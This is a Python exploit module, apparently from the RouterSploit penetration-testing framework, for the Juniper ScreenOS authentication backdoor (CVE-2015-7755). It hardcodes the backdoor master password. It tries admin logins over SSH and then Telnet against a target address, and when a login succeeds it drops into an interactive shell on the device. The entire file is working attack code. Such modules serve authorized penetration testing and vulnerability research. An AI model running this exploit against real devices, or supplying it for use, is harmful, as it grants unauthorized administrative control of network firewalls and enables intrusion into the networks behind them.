import telnetlib
import paramiko

from routersploit import (
    exploits,
    print_success,
    print_error,
    mute,
    ssh_interactive,
    validators,
)


class Exploit(exploits.Exploit):
    """
    Exploit implementation for Juniper ScreenOS Authentication Backdoor vulnerability.
    If the target is vulnerable it is possible to authenticate to the device"
    """
    __info__ = {
        'name': 'Juniper ScreenOS Backdoor',
        'description': 'Module exploits Juniper ScreenOS Authentication Backdoor vulnerability. If the target is is possible to authentiate to the device.',
        'authors': [
            'hdm',  # vulnerability discovery
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
        ],
        'references': [
            'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor',
        ],
        'devices': [
            'Juniper ScreenOS 6.2.0r15 to 6.2.0r18',
            'Juniper ScreenOS 6.3.0r12 to 6.3.0r20',
        ]
    }

    target = exploits.Option('', 'Target address e.g. 192.168.1.1', validators=validators.ipv4)  # target address
    ssh_port = exploits.Option(22, 'Target SSH port', validators=validators.integer)  # target ssh port
    telnet_port = exploits.Option(23, 'Target Telnet port', validators=validators.integer)  # target telnet port

    username = "admin"
    password = "<<< %s(un='%s') = %u"

    def run(self):
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        try:
            ssh.connect(self.target, self.ssh_port, timeout=5, username=self.username, password=self.password)
        except Exception:
            ssh.close()
        else:
            print_success("SSH - Successful authentication")
            ssh_interactive(ssh)
            return

        try:
            tn = telnetlib.Telnet(self.target, self.telnet_port, timeout=10)
            tn.write("\r\n")
            tn.expect(["Login: ", "login: "], 5)
            tn.write(self.username + "\r\n")
            tn.expect(["Password: ", "password"], 5)
            tn.write(self.password + "\r\n")
            tn.write("\r\n")

            (i, obj, res) = tn.expect(["Failed", "failed"], 5)

            if i != -1:
                return False
            else:
                if any(map(lambda x: x in res, ["#", "$", ">"])):
                    print_success("Telnet - Successful authentication")
                    tn.write("\r\n")
                    tn.interact()

            tn.close()
        except Exception:
            print_error("Connection Error")
            return

    @mute
    def check(self):
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        try:
            ssh.connect(self.target, self.ssh_port, timeout=5, username=self.username, password=self.password)
        except Exception:
            ssh.close()
        else:
            return True

        try:
            tn = telnetlib.Telnet(self.target, self.telnet_port, timeout=10)
            tn.write("\r\n")
            tn.expect(["Login: ", "login: "], 5)
            tn.write(self.username + "\r\n")
            tn.expect(["Password: ", "password"], 5)
            tn.write(self.password + "\r\n")
            tn.write("\r\n")

            (i, obj, res) = tn.expect(["Failed", "failed"], 5)
            tn.close()

            if i != -1:
                return False
            else:
                if any(map(lambda x: x in res, ["#", "$", ">"])):
                    tn.close()
                    return True
            tn.close()
        except Exception:
            return False

        return False
